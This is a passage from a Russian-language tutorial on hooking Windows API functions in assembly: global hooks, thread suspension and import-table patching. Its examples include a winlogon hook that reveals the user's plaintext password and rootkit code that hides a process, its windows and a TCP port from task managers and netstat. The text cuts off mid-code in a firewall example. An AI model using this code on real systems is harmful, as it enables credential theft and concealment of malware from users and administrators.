  1.  
  2. lla_entry:   call            swap_lla
  3.              push            dword ptr [esp+4]
  4.              call            _lla                    ;вызов настоящей функции
  5.              call            swap_lla
  6.              ...                                     ;какие-то действия
  7.              ret             4
  8.  
  9. _lla:        mov             eax,12345678h
  10.              org             $-4
  11. lla_         dd              0
  12.              jmp             eax
  13.  
  14. swap_lla:    push            esi edi ebp
  15.              call            delta
  16. delta:       pop             ebp
  17.              sub             ebp,offset delta-code_start
  18.  
  19.              lea             esi,[ebp+(offset lla_code-code_start)]
  20.              mov             edi,[ebp+(offset lla_-code_start)]
  21.              push            eax
  22.              mov             eax,[edi]
  23.              xchg            [esi],eax
  24.              mov             [edi],eax
  25.              mov             al,[edi+4]
  26.              xchg            [esi+4],al
  27.              mov             [edi+4],al
  28.              pop             ebp edi esi
  29.              ret
  30.  

2.5. Методы установки глобальных перехватчиков

  Часто бывает необходимо перехватить какую-либо функцию глобально, т.е. во всех текущих процессах сразу. К примеру, для достижения невидимости в NT/w2k через функцию ntdll!NtQuerySystemInformation процесс-"призрак" должен перебрать все остальные процессы и распространить свои обработчики на каждый их них. Кроме этого, процесс должен позаботиться и о новых процессах - тех, которые будут созданы после инсталляции его обработчика NtQuerySystemInformation. Это непростая задача, так как процесс может быть запущен множеством способов: shell32!ShellExecute*, kernel32!CreateProcess*, ntdll!NtCreateProcess и другими. Большинство из них сводится к NtCreateProcess. Также возникает проблема - процесс с привилегиями гостя не может изменить память контекста, работающего с привилегиями System или Local Administrator - например, Winlogon.exe, а именно он запускает самый популярный менеджер задач для NT/w2k/XP: taskmgr.exe (с помошью функции msgina!WlxStartApplication). Таким образом, на Winlogon.exe обработчик NtCreateProcess распространить не удастся, и при нажатии пользователем ctrl-shift-esc запущенный taskmgr "увидит" спрятанный процесс.
  Эта проблема кажется неразрешимой. Однако спасает положение от факт, что taskmgr - GUI приложение, а, следовательно, установив глобальный хук сообщений - к примеру, типа WH_CBT - наш модуль автоматически будет добавлен к taskmgr.exe и проинициализирован с причиной DLL_PROCESS_ATTACH еще до того, как главный модуль taskmgr получит управление.
  Первая проблема может быть решена следующим образом. Перехватим ntdll!NtCreateThread и ntdll!CsrClientCallServer. Процесс не имеет своего идентификатора до создания первого потока, и если в обрабочике NtCreateThread мы видим такую ситуацию:

  1. процесс-хозяин не имеет идентификатора;
  2. создающийся поток приостановлен;
  3. после создания потока процесс получает идентификатор, то это есть создание нового процесса. В этом случае запоминаем его идентификатор и ждем вызова CsrClientCallServer с командой 10000h - инициализация процесса. Затем проверяем, был ли ранее запомнен идентификатор. Если да, то после вызова настоящего CsrClientCallServer процесс готов к применению к нему наших обработчиков.

  Код обработчиков NtCreateThread и CsrClientCallServer может выглядеть так:

Код (Text):
  1.  
  2. myNtCreateThread             proc lpThreadHandle,DesiredAccess,\
  3.                              lpObjectAttributes,ProcessHandle,lpClientId,\
  4.                              lpInitialContext,lpUserStackDescriptor,\
  5.                              CreateSuspended
  6.              mov             eax,pbi2
  7.              and             [eax.UniqueProcessId],0
  8.              call            NtQueryInformationProcess,ProcessHandle,\
  9.                              ProcessBasicInformation,eax,pbisize,NULL
  10.              push            eax
  11.              call            [realNtCreateThread],lpThreadHandle,\
  12.                              DesiredAccess,lpObjectAttributes,\
  13.                              ProcessHandle,lpClientId,lpInitialContext,\
  14.                              lpUserStackDescriptor,CreateSuspended
  15.              pop             ecx
  16.              pop             eax
  17.              or              ecx,ecx
  18.              jl              nctexit
  19.              test            eax,eax
  20.              jl              nctexit
  21.              cmp             CreateSuspended,FALSE
  22.              je              nctexit
  23.              mov             eax,pbi
  24.              cmp             [eax.UniqueProcessId],0
  25.              jne             nctexit
  26.              mov             eax,pbi2
  27.              call            NtQueryInformationProcess,ProcessHandle,\
  28.                              ProcessBasicInformation,eax,pbisize,NULL
  29. nctexit:     pop             eax
  30.              ret
  31. myNtCreateThread             endp
  32.  
  33. myCsrClientCallServer        proc lpStruc,Par1,dwCommand,StrucSize
  34.  
  35.              call            [realCsrClientCallServer],lpStruc,Par1,\
  36.                              dwCommand,StrucSize
  37.              cmp             dwCommand,10000h
  38.              jne             cccsexit
  39.              mov             edx,lpStruc
  40.              cmp             dword ptr [edx+20h], 0
  41.              jl              cccsexit
  42.              mov             eax,pbi2
  43.              mov             ecx,[eax.UniqueProcessId]
  44.              jecxz           cccsexit
  45.              pushad
  46.              ...                             ;установка обработчиков
  47.              popad
  48. cccsexit:    ret
  49. myCsrClientCallServer        endp
  50.  

  При использовании метода исправления таблиц импорта в w9x можно поступить аналогичным образом, перехватив kernel32!GetStartupInfoA.
  При использовании сплайсинга модулей выше 2Gb проблема решается сама собой: эта память проецируется на все контексты, следовательно, вызовы функций из любого процесса будут перехвачены.

2.6. Приостановка потоков

  Рассмотрим метод изменения таблицы импорта модуля с целью перехвата импортируемых им функций.
  При инициализации библиотеки (вызове DllMain с причиной DLL_PROCESS_ATTACH), как было оговорено ранее, происходит исполнение кода-инсталлятора обработчиков. Конечной его целью является замещение всех входов таблицы импорта модуля, содержащих адреса перехватываемых функций, на адреса соответствующих обработчиков. Если необходимо перехватывать функции из всех модулей процесса, то эти действия будут выполняться "не моментально". Возникает проблема синхронизации: в момент перебора модулей процесса обработанные модули будут содержать одни адреса перехватываемых функций, а необработанные - другие. Это может сказаться на логике выполнения процесса.
  Чтобы избежать этого, необходимо приостанавливать потоки перед манипуляциями с таблицами импортов, а после их завершения вновь "запускать" потоки. Существуют документированные функции kernel32 SuspendThread(HANDLE hThread) и ResumeThread(HANDLE hThread), позволяющие приостанавливать и запускать потоки (вернее, их код в user-mode). Эти функции оперируют со счетчиком остановок потока (suspend count). Функция SuspendThread инкрементирует этот счетчик. Если его значение больше нуля, то поток остановлен, если значение превышает допустимое (MAXIMUM_SUSPEND_COUNT) - SuspendThread возвращает ошибку (ERROR_SIGNAL_REFUSED) и инкрементирование не производится. ResumeThread декрементирует счетчик остановок; если он достиг нуля, поток вновь становится планируемым. Для работы обоих функций необходим описатель (handle) потока, открытый с флагом THREAD_SUSPEND_RESUME.
  Проблема состоит в том, что документированный API Win32 предоставляет описатель потока только в нескольких случаях: при создании потока функцией kernel32!CreateThread, при отладке процесса как сообщение отладчику (возвращается при старте отладки или после создания потока отлаживаемым приложением через kernel32!WaitForDebugEvent), после дуплицирования имеющегося описателя и при вызове GetCurrentThread.
  Первый случай, как и третий, очевидно, неприемлемы, так как с их помощью нельзя узнать описатель уже работающего потока (не имея какого- либо его описателя в третьем случае). Второй имеет серьезный недостаток: процесс должен адекватно реагировать на отладочные сообщения, посылаемые системой для каждого отлаживаемого процесса, и при его завершении все отлаживаемые процессы уничтожатся (правда, в Windows XP этого можно избежать). Четвертый дает псевдо-описатель потока-вызывателя.
  Несмотря на это, все Win32 системы позволяют перечислять все идентификаторы потоков (аналогично идентификаторам процессов). Это несколько странно, так как по SDK "The Win32 API does not provide a way to get the thread handle from the thread identifier". В SDK предлагается использовать идентификаторы потоков для составления запросов процессу-создателю потока с целью получения описателя. По SDK, если процесс не поддерживает удаленное манипулирование его потоками, то идентификатор потока вообще теряет смысл.
  И все-таки во всех Win32 системах существует способ получения описателя потока по его идентификатору. Достаточным условием получения описателя потока с флагом THREAD_SUSPEND_RESUME является возможность открыть процесс с флагом PROCESS_ALL_ACCESS.

2.6.1. Получение описателя потока по его идентификатору в Windows 9X

  При внимательном изучении кода функции OpenProcess выясняется, что она сводится к более мощной функции, в качестве параметров к которой передаются флаги, флаг вложенности и некоторое значение, полученное из идентификатора процесса путем операции XOR его с неким двойным словом. Результатом этой операции является адрес структуры, описывающей процесс (Process Data Block).
  Далее идет проверка - описывает ли структура по адресу, полученному от указателя, процесс. Если это не процесс, то происходит выход из OpenProcess. Поэтому возникает подозрение, что идентификаторы потока и процесса мало чем различаются по своей сущности.
  Действительно, операция XOR идентификатора потока с "непонятным" двойным словом дает адрес TDB, - таким образом, для перевода идентификатора потока в его описатель достаточно "вручную" производить XOR идентификатора потока с тем двойным словом, помещать результат в eax и вызывать [OpenProcess+24h]. Из листинга OpenProcess видно, что [OpenProcess+24] (2) - "OpenThread" - читает аргументы прямо из стека (адресует их по esp). Так как код OpenProcess не изменился от Win95 к Win98, то смещение сохранится для обоих систем.

Код (Text):
  1.  
  2. OpenProcess  proc            near
  3.  
  4. dwFlags      = dword  ptr  4
  5. inheritance  = dword  ptr  8
  6. pid          = dword ptr  0Ch
  7.  
  8.              push            [esp+pid]
  9.              call            xorbyobsfucator
  10.              test            eax, eax
  11.              jnz             short pidconverted
  12.              xor             eax, eax
  13.              jmp             short bad_exit
  14.  
  15. pidconverted:cmp             byte ptr [eax], 6       ; (1)
  16.              jz              short OpenThread
  17.              push            57h
  18.              call            sub_BFF7C991
  19.              mov             ecx, 0FFFFFFFFh
  20.              jmp             short loc_BFF95CA1
  21. OpenThread:
  22.              mov             ecx, 0                  ; (2)
  23.              mov             edx, [esp+dwFlags]
  24.              cmp             [esp+inheritance], 1
  25.              adc             ecx, 0FFFFFFFFh
  26.              and             edx, 1F0FFFh
  27.              and             ecx, 80000000h
  28.              or              ecx, edx
  29.              mov             edx, dword_BFFC9CDC
  30.              push            ecx
  31.              push            eax
  32.              push            dword ptr [edx]
  33.              call            SomePowerfulFunction
  34.              ...
  35.  

  Остается только узнать тот "magic dword", который используется для получения адреса PDB. Это можно сделать несколькими способами. Самый безопасный и быстрый - это воспользоваться известным для текущего процесса PDB, адрес которого находится по адресу fs:[30h]. Нужно использовать XOR на нем и значении, возвращаемом GetCurrentProcessId. Тогда возможный код функции w9x_OpenThread будет выглядеть следующим образом (предполагается использование TASM в качестве компилятора, так как ниже производится чтение адреса OpenProcess из таблицы прыжков (jump table), генерируемую TASM по умолчанию; MASM генерирует код другого характера - вызовы функций API производятся путем выполнения call [x], где x - адрес входа требуемой функции в таблице импорта модуля):

Код (Text):
  1.  
  2. w9x_OpenThread               proc flags,inheritance,tid:dword
  3.              local           w9xopenthread:dword
  4.  
  5.              pushad
  6.              call            GetCurrentProcessId
  7.              xor             eax,fs:30h
  8.              mov             ebx,eax
  9.              lea             esi,OpenProcess+2  ; jmp far [xxxx]
  10.              lodsd                              ; xxxx
  11.              xchg            eax,esi
  12.              lodsd                              ; [xxxx]=KERNEL32!OpenProcess
  13.              lea             esi,[eax+24h]
  14.              lodsd                              ; [OpenProcess+24h]
  15.              mov             edi,esi
  16.              cmp             eax,0b9h           ; mov ecx,dword ptr 0
  17.              jnz             bad_exit
  18.              sub             edi,4
  19.              mov             w9xopenthread,edi
  20.              xor             ebx,tid
  21.              lea             esi,[ebx+2]
  22.              call            IsBadWritePtr,esi,2
  23.              or              eax,eax
  24.              jnz             bad_exit
  25.              xchg            eax,ebx
  26.              mov             eax,w9xopenthread
  27.              call            eax,flags,inheritance,tid
  28.              mov             [esp.Pushad_eax],eax
  29.              popad
  30.              ret
  31.  
  32. bad_exit:    popad
  33.              call            SetLastError,ERROR_ACCESS_DENIED
  34.              xor             eax,eax
  35.              ret
  36. w9x_OpenThread               endp
  37.  

2.6.2. Получение описателя потока по его идентификатору в Windows NT

  В Windows NT (начиная с версии 3.51) присутствует недокументированная функция ntdll!NtOpenThread, позволяющая получать описатель потока по идентификатору процесса - хозяина и идентификатору самого потока. Функция проверяет привилегии потока, вызвавшего ее, так что она не угрожает стабильности системы. Код функции находится целиком в ntoskrnl.exe, располагающейся выше 2Gb и исполняющейся в kernel mode, поэтому обычный процесс не может изменить логику выполнения этой функции. Ее прототип несколько нестандартен для WINAPI (это переходник на сервис ntoskrnl.exe, следовательно, прототип - NTKERNELAPI):

Код (Text):
  1.  
  2. NTKERNELAPI
  3. NTSTATUS
  4. NtOpenThread(
  5. OUT PHANDLE             ThreadHandle,
  6. IN ACCESS_MASK          DesiredAccess,
  7. IN POBJECT_ATTRIBUTES   ObjectAttributes,
  8. IN PCLIENT_ID           ClientId OPTIONAL
  9. );
  10.  

  где

Код (Text):
  1.  
  2. DWORD  ClientId[2];
  3. ClientId[0] = TargetPID;
  4. ClientId[1] = TargetTID;
  5.  

  Струтура Object_Attributes должна располагаться в памяти по адресу, выравненному на 1000h. В противном случае функция возвратит ошибку - STATUS_DATATYPE_MISALIGNMENT. Для выделения памяти с начальным адресом, удовлетворяющим такому условию, можно воспользоваться стандартной функцией kernel32!VirtualAlloc.
  Отличительной чертой этой функции от ее аналога в w9x является необходимость указания идентификатора процесса - хозяина интересующего нас потока, но в большинстве случаев использования этой функции требуется полностью приостановить работу какого-либо процесса (может, за исключением какого-то потока), а при перечислении потоков требуется знать идентификатор процесса, так что указанная особенность не становится большим препятствием в использовании NtOpenThread. Дополнительный код придется писать лишь в том случае, когда необходимо получить описатель потока без начальных данных о его принадлежности. Эту информацию можно получить с помощью NtQuerySystemInformation.
  Возможный код функции nt_OpenThread может выгладеть так:

Код (Text):
  1.  
  2. nt_OpenThread                proc flags,inheritance,tid,pid:DWORD
  3.              local           thandle:DWORD
  4.              local           pntot:dword
  5.              local           _tid:dword
  6.              local           _pid:dword
  7.  
  8.              mov             eax,tid
  9.              mov             _tid,eax
  10.              mov             eax,pid
  11.              mov             _pid,eax
  12.  
  13.              call            GetModuleHandleA,offset ntdll
  14.              call            GetProcAddress,eax,offset ntopenthread
  15.              or              eax,eax
  16.              jz              baderror
  17.              mov             pntot,eax
  18.  
  19.              call            VirtualAlloc,0,100,1000h,40h
  20.              mov             ebx,eax
  21.              xchg            eax,edi
  22.              push            18h
  23.              pop             eax
  24.              stosd
  25.              xor                     eax,eax
  26.              push            5
  27.              pop             ecx
  28.              rep             stosd
  29.  
  30.              lea             ecx,thandle
  31.              lea             edx,_pid
  32.              and             dword ptr [ecx],0
  33.              call            [pntot],ecx,1f0000h,ebx,edx
  34.              mov             eax,thandle
  35.              call            VirtualFree,ebx,0,8000h,eax
  36.              call            GetCurrentProcess
  37.              pop             ebx
  38.              lea             ecx,thandle
  39.              and             dword ptr [ecx],0
  40.              call            DuplicateHandle,eax,ebx,eax,\
  41.                              ecx,1f0fffh,inheritance,\
  42.                              DUPLICATE_CLOSE_SOURCE
  43.              mov             eax,thandle
  44.              ret
  45. baderror:    xor             eax,eax
  46.              ret
  47. nt_OpenThread                endp
  48.  

2.6.3. Получение описателя потока по его идентификатору в Windows ME/2000/XP

  В kernel32 этих операционных систем присутствует документированная функция OpenThread, использование которой делает задачу тривиальной. Синтаксис функции таков (он практически дублирует синтаксис OpenProcess):

Код (Text):
  1.  
  2. HANDLE OpenThread(
  3. DWORD dwDesiredAccess,  // access right
  4. BOOL bInheritHandle,    // handle inheritance option
  5. DWORD dwThreadId        // thread identifier
  6. );
  7.  

3. Приложения. Примеры обработчиков

  Примеры обработчиков перехваченных функций методом сплайсинга обсуждались в соответствующей главе; рассмотрим более подробно обработчики, внедренные путем исправления таблицы импорта.

Пример N1

  Любой глобальный обработчик какой-либо функции под NT должен позаботиться о распространении себя на все модули всех процессов, поэтому необходимо перехватывать функцию загрузки нового модуля, чтобы применять перехваты к свежесозданным модулям. Ранее отмечалось, что подобной функцией должна быть ntdll!LdrLoadDll. Ниже приведен простейший ее обработчик:

Код (Text):
  1.  
  2. myLdrLoadDll proc            pSearchPath:dword,something:dword,\
  3.                              pUniStrDllName:dword,pImageBase
  4.              call            [realLdrLoadDll],pSearchPath,something,\
  5.                              pUniStrDllName,pImageBase
  6.              mov             eax,pImageBase
  7.              call            hookmodule,dword ptr [eax]
  8.              ret
  9. myLdrLoadDll endp
  10.  

  Однако такой метод перехвата LdrLoadDll слишком наивен: после вызова настоящей функции и до возвращения управления к нашему обработчику произойдет вызов найденной в проинициализированном модуле точки входда (DllEntry) с причиной DLL_PROCESS_ATTACH. Код, находящийся в DllEntry, может определить адреса требуемых функций с помощью неперехваченного GetProcAddress (который, естественно, возвратит истинные значения адресов), так как адрес самого GetProcAddress в таблице импорта будет заполнен загрузчиком PE - наш обработчик LdrLoadDll еще "не успеет" изменить его.
  При изучении LdrLoadDll оказывается, что она сводится к другой функции, которая и производит чтения параметров и соответствующие вызовы ядра. И в NT, и в w2k дополнительным параметром является булевская переменная - исполнять или нет цепочку DllMain. Вызовем функцию LdrLoadDll "не с начала", а после того, как положим в стек 0 - FALSE (а не 1 - TRUE). Таким образом, после завершения LdrLoadDll и соответствующего исправления таблиц импорта нам останется лишь вызвать DllMain всех вновь появившихся модулей с причиной DLL_PROCESS_ATTACH.

Код (Text):
  1.  
  2. myLdrLoadDll proc            pSearchPath:dword, Something:dword,\
  3.                              pUniStrDllName:dword, pImageBase:dword
  4.  
  5.              push            pSearchPath,Something,pUniStrDllName,pImageBase
  6.              push            offset theend
  7.  
  8.              push            eax
  9.              call            LdrGetDllHandle,TRUE,0,pUniStrDllName,esp
  10.              test            eax,eax         ; был ли модуль загружен
  11.                                              ; ранее?
  12.              pop             ecx
  13.  
  14.              mov             eax,realLdrLoadDll
  15.              jnl             normalcall
  16.                                              ; в NT4 LdrLoadDll
  17.                                              ; начинается командами
  18.                                              ; push ebp | mov ebp,esp |
  19.                                              ; push byte
  20. checkNT4:    xor             ecx,ecx
  21.              cmp             dword ptr [eax],6AEC8B55h
  22.              jne             checkw2k
  23.  
  24. ; для изменения адреса возврата изменим стек сами
  25.  
  26.              push            ebp
  27.              mov             ebp,esp
  28.              add             eax,3
  29.              mov             cl,4
  30.              jmp             specialcall
  31.  
  32. ; w2k LdrLoadDll начинается командой push 1
  33.  
  34. checkw2k:    cmp             word ptr [eax],016Ah
  35.              jne             normalcall
  36.  
  37. ;возвратимся в analyze
  38.  
  39. specialcall: mov             [esp+ecx],offset analyze
  40.              push            FALSE           ; запретим вызов
  41.                                              ; DllMain'ов
  42.              inc             eax
  43.              inc             eax
  44. normalcall:  jmp             eax
  45.  
  46. analyze:     push            eax             ; сохраним код возврата
  47.              push            edi
  48.              sub             esp,80h*4
  49.  
  50.              mov             eax,fs:18h
  51.              mov             eax,[eax+30h]      ; PEB
  52.              mov             ecx,[eax+_PEB.Ldr] ; начало описателя модулей
  53.                                                 ; процесса
  54.              xor             edx,edx
  55.              add             ecx,_PEB_LDR_DATA.\
  56.                              InInitializationOrderModuleList.Flink
  57.              mov             eax,[ecx]
  58.              mov             edi,esp
  59.              jmp             first0
  60.  
  61. nextentry:   mov             eax,[eax+LDR_MODULE.\
  62.                              LM_InInitializationOrderModuleList.Flink]
  63. first0:      cmp             eax,ecx         ; последний элемент
  64.                                              ; списка ссылается на первый
  65.              je              allentries
  66.  
  67. ; выберем среди модулей процесса непроинициалированные,
  68. ; пометим их как инициализированные и сохраним их DllMain для
  69. ; инициализации
  70.  
  71.              and             [eax.LM_Flags],NOT LOAD_IN_PROGRESS
  72.              test            [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED
  73.              jne             nextentry
  74.              or              [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED
  75.              cmp             [eax.LM_EntryPoint],edx
  76.              je              nextentry
  77.  
  78.              stosd
  79.              jmp             nextentry
  80. allentries:  and             [edi],edx
  81.  
  82.              mov             edi,esp
  83. initloop:    mov             eax,[edi]
  84.              test            eax,eax
  85.              je              initdone
  86.              add             edi,4
  87.  
  88. ; изменим импорт у модуля
  89.  
  90.              call            hookmodule,[eax.LM_BaseAddress]
  91.  
  92. ; сделаем DLL_PROCESS_ATTACH сами
  93.  
  94.              push            eax
  95.              mov             ecx,[eax.LM_EntryPoint]
  96.              or              ecx,ecx
  97.              jz              skipcalldllmain
  98.  
  99.              call            ecx,[eax.LM_BaseAddress],DLL_PROCESS_ATTACH,NULL
  100. skipcalldllmain:
  101.              mov             ecx,eax
  102.              pop             eax
  103.              or              [eax.LM_Flags],ALLOW_DLL_PROCESS_DETACH
  104.              or              ecx,ecx
  105.              jne             initloop
  106. ; DllMain возвратил ошибку - выгрузим модуль и исправим код выхода
  107.  
  108.              mov             dword ptr [esp+80h*4+4],\
  109.                              STATUS_DLL_INIT_FAILED
  110.              call            [realLdrUnloadDll],[eax.LM_BaseAddress]
  111.  
  112. initdone:    add             esp,80h*4
  113.              pop             edi
  114.              pop             eax
  115. theend:      ret
  116. myLdrLoadDll endp
  117.  

Пример N2

  Windows NT и Windows 2000 всех SP содержат "уязвимость" следующего рода: обе эти ОС после логона содержат пароль текущего пользователя, "зашифрованный" операцией XOR с ключом в 1 байт (!), и при разблокировании станции происходит дешифрование пароля и сравнивание двух строк на совпадение. Если строки не совпадают, станция не разблокировывается. В защиту Microsoft говорит только тот факт, что код, дешифрующий пароль, выполняется в контексте winlogon, то есть для его изменения либо перехвата необходима привилегия SeDebugPrivilege, которая включена в большинстве случаев только у администраторов. Однако, если администратор отлучился и оставил машину незаблокированной, то, запустив программу под правами администратора, можно узнать его пароль в чистом виде.
  Дешифрование пароля производится функцией RtlRunDecodeUnicodeString. Вот пример ее перехватчика: при вызове данной функции он показывает на экран сообщение со строчкой, которая только что расшифровалась.

Код (Text):
  1.  
  2. myRtlRunDecodeUnicodeString  proc key:dword,unistring:dword
  3.              local           decodebuff:dword
  4.              local           dummy:dword
  5.  
  6.              push            ebx
  7.              mov             ebx,unistring
  8.              add             ebx,4
  9.              call            IsBadReadPtr,ebx,1
  10.              or              eax,eax
  11.              jnz             justcall
  12.              mov             ebx,[ebx]
  13.              mov             decodebuff,ebx
  14. justcall:    pop             ebx
  15.  
  16.              call            [realRtlRunDecodeUnicodeString],key,unistring
  17.              or              eax,eax
  18.              jz              notme
  19.  
  20.              call            lstrcpyW,offset somebuff,decodebuff
  21.  
  22.              call            CreateThread,NULL,NULL,offset msgboxthrd,\
  23.                              offset somebuff,NORMAL_PRIORITY_CLASS,\
  24.                              offset dummy
  25.              call            CloseHandle,eax
  26. notme:       ret
  27. myRtlRunDecodeUnicodeString  endp
  28.  

Пример N3

  При столь большой распространенности всяческих троянов, бэкдоров и т.п. программ, чье написание подпадает под ст. 272-274 УКРФ, становится непонятно, почему так редко среди них встречаются по-настоящему самомаскирующиеся программы. Большинство из них завершает свой маскировочный процесс на вызовах

Код (Text):
  1.  
  2.   ShowWindow(mainwindow.handle,SW_HIDE);
  3.   _rsp RSP=GetProcAddress(GetModuleHandle("kernel32.dll"),
  4.                           "RegisterServiceProcess");
  5.   if (RSP) RSP(GetCurrentProcessId(),1);
  6.  

  Этот код защищает только от нажатия ctrl-alt-del в w9x и ME. Любой просмотрщик процессов и окон немедленно обнаружит такой процесс. Чтобы этого не случилось, в winNT требуется перехватить NtQuerySystemInformation для "процессной" невидимости и EnumWindows, EnumThreadWindows, EnumChildWindows для "оконной". Также, желательно было бы спрятать нечто "слушающее" на каком-либо TCP/UDP порту от команд типа "netstat -a". Все вышеперечисленное осуществляет код:

Код (Text):
  1.  
  2. MyNtQuerySystemInformation   proc SystemInformationClass,\
  3.                                   SystemInformation,Length, ResultLength
  4.              uses ebx esi
  5.  
  6.              call            dword ptr [realNtQuerySystemInformation],
  7.                              SystemInformationClass,SystemInformation,\
  8.                              Length,ResultLength
  9.              or              eax,eax
  10.              jl              theend
  11.              cmp             SystemInformationClass,SystemProcessInformation
  12.              jne             theend
  13. onceagain:   mov             esi,SystemInformation
  14. getnextpidstruct:
  15.              mov             ebx,esi
  16.              cmp             dword ptr [esi],0
  17.              je              theend
  18.              add             esi,[esi]
  19.  
  20.              mov             ecx,[esi+44h]
  21.  
  22.              pushad
  23.  
  24. ; определим PID - "невидимку"
  25.  
  26.              call            FindWindowA,offset wnd2hide,0
  27.              call            GetWindowThreadProcessId,eax,offset mypid
  28.              popad
  29.              cmp             ecx,mypid
  30.  
  31.              jne             getnextpidstruct
  32.              mov             edx,[esi]
  33.              test            edx,edx
  34.              je              fillzero
  35.              add             [ebx],edx       ; "перебросим" указатель
  36.                                              ; следующей записи через себя:
  37.                                              ; тем самым в результате прохода
  38.                                              ; по этой структуре информация
  39.                                              ; о нас не обнаружится
  40.              jmp             onceagain
  41. fillzero:    and             [ebx],edx
  42.              jmp             onceagain
  43. theend:      ret
  44. myNtQuerySystemInformation endp
  45.  
  46.  
  47. myEnumWindows                proc enumproc:dword,enumparam:dword
  48.              cmp             oldenumproc,0
  49.              je              iambusy
  50.              call            [realEnumWindows],enumproc,enumparam
  51.              ret
  52. iambusy:     push            enumproc
  53.              pop             oldenumproc
  54.              call            [realEnumWindows],offset mylenum,enumparam
  55.              and             oldenumproc,0
  56.              ret
  57. myEnumWindows                endp
  58.  
  59. myenum       proc            enumhwnd:dword,b:dword
  60.              call            FindWindowA,offset wnd2hide,0
  61.              or              eax,eax
  62.              je              calloldenumproc
  63.              cmp             eax,enumhwnd            ; это наше окно?
  64.              mov             eax,1
  65.              je              skipoldenumproc         ; да, пропустим вызов
  66.                                                      ; коллбэка
  67. calloldenumproc:
  68.              call            [oldenumproc],enumhwnd,b
  69. skipoldenumproc:
  70.              ret
  71. myenum       endp
  72.  
  73. myEnumChildWindows           proc parentwnd:dword,enumproc_ecw:dword,\
  74.                              enumparam_ecw:dword
  75.              cmp             oldecwproc,0
  76.              je              iambusy_ecw
  77.              call            [realEnumChildWindows],parentwnd,enumproc_ecw,\
  78.                              enumparam_ecw
  79.              ret
  80. iambusy_ecw: call            FindWindowA,offset wnd2hide,0
  81.              or              eax,eax
  82.              jz              iamnotrunning
  83.              cmp             eax,parentwnd
  84.              je              foolecw
  85. iamnotrunning:
  86.              push            enumproc_ecw
  87.              pop             oldecwproc
  88.              call            [realEnumChildWindows],parentwnd,\
  89.                              offset myenum_ecw,enumparam_ecw
  90.              and             oldecwproc,0
  91.              ret
  92. foolecw:     xor             eax,eax
  93.              ret
  94. myEnumChildWindows           endp
  95.  
  96.  
  97. myenum_ecw   proc            enumhwnd_ecw:dword,b_ecw:dword
  98.              call            FindWindowA,offset wnd2hide,0
  99.              or              eax,eax
  100.              je              calloldecwproc
  101.              cmp             eax,enumhwnd_ecw
  102.              mov             eax,1
  103.              je              skipoldecwproc
  104. calloldecwproc:
  105.              call            [oldecwproc],enumhwnd_ecw,b_ecw
  106. skipoldecwproc:
  107.              ret
  108. myenum_ecw   endp
  109.  
  110. myEnumThreadWindows          proc tid2examine:dword,etwcallback:dword,\
  111.                              etwparam:dword
  112.              call            FindWindowA,offset wnd2hide,0
  113.              call            GetWindowThreadProcessId,eax,0
  114.              cmp             eax,tid2examine
  115.              jz              fooletw         ; если наш поток, то
  116.                                              ; выдать ошибку
  117.              call            [realEnumThreadWindows],tid2examine,etwcallback,\
  118.                              etwparam
  119.              ret
  120. fooletw:     xor             eax,eax
  121.              ret
  122. myEnumThreadWindows          endp
  123.  
  124.  
  125. mySnmpExtensionInit          proc currtime,hTrapEvent,hIdentifier:dword
  126.              and             recordnum,0
  127.              mov             currtrap,offset trapbuff
  128.              call            [realSnmpExtensionInit],currtime,hTrapEvent,hIdentifier
  129.              ret
  130. mySnmpExtensionInit          endp
  131.  
  132. mySnmpExtensionQuery         proc callmode,bindList,\
  133.                              errorStatus,errorIndex:dword
  134.              call            [realSnmpExtensionQuery],callmode,bindList,\
  135.                              errorStatus,errorIndex
  136.              pushad
  137.              or              eax,eax
  138.              jz              skipit
  139.              cmp             callmode,ASN_RFC1157_GETNEXTREQUEST
  140.              jne             skipit
  141.              mov             eax,bindList
  142.              mov             eax,[eax.list]
  143.              cmp             [eax.name.idLength],0ah
  144.              jb              skipit
  145.              mov             bindEntry,eax
  146.              mov             eax,[eax.name.ids]
  147.              mov             eax,[eax+9*4]
  148.  
  149.              cmp             eax,4
  150.              jnz             check4localport
  151.  
  152.              cmp             recordnum,0
  153.              jz              already0
  154.              and             recordnum,0
  155.              and             search4trap,0
  156. already0:    inc             search4trap
  157.              mov             ecx,search4trap
  158.              lea             esi,trapbuff
  159. tryalltraps: lodsd
  160.              cmp             esi,currtrap            ; это метка на
  161.                                                      ; изменение?
  162.              ja              trapwalkdone
  163.              cmp             eax,ecx
  164.              jnz             tryalltraps
  165.              mov             ebx,bindEntry           ; спрятать адрес
  166.                                                      ; эндпоинта
  167.              mov             ebx,[ebx.value.asnValue.address.stream]
  168.              and             dword ptr [ebx],0
  169. trapwalkdone:jmp             skipit
  170. check4localport:
  171.              cmp             eax,3
  172.              jnz             skipit
  173.              inc             recordnum
  174. recordscounted:
  175.              mov             ebx,bindEntry
  176.              mov             eax,[ebx.value.asnValue.number]
  177.              cmp             eax,PORT2HIDE           ; это наш порт?
  178.              jnz             skipit                  ; да, показать
  179.                                                      ; пользователю то,
  180.                                                      ; что он хочет увидеть
  181.              mov             [ebx.value.asnValue.number],PORT2SHOW
  182.              mov             eax,currtrap
  183.              add             currtrap,4
  184.              push            recordnum
  185.              pop             dword ptr [eax]         ; сохранить номер
  186.                                                      ; записи для
  187.                                                      ; последующих вызовов,
  188.                                                      ; чтобы перехватить
  189.                                                      ; выдачу нашего IP
  190. skipit:      popad
  191.              ret
  192. mySnmpExtensionQuery         endp
  193.  

Пример N4

  Ниже приведен пример простейшего исходящего TCP-файрвола пользовательского режима. Он может работать с привилегиями гостя - глобализатор распространит обработчик ws2_32!connect только на те процессы, описатели которых он сможет получить при выполнении OpenProcess с параметрами PROCESS_ALL_ACCESS.

Код (Text):
  1.  
  2. myconnect    proc            a:dword,b:dword,c:dword
  3.              pushad
  4.              call            GetModuleFileNameA,0,offset
  5.                              modnamebuff,MAX_PATH
  6.              mov             eax,b
  7.              mov             esi,[eax+4]
  8.              movzx           ebx,word ptr [eax+2]
  9.              xchg            bl,bh
  10.              call            inet_ntoa,esi
  11.              call            wsprintfA,offset bigbuff,offset badprogram,\
  12.                              offset modnamebuff,eax,ebx
  13.              add             esp,5*4
  14.              call            MessageBoxA,0,offset bigbuff,\
  15.                              offset warn,MB_YESNO+MB_ICONWARNING
  16.              cmp             eax,6
  17.              jz              good_program
  18.              call            WSASetLastError,WSAEADDRNOTAVAIL
  19.              popad
  20.              xor             eax,eax
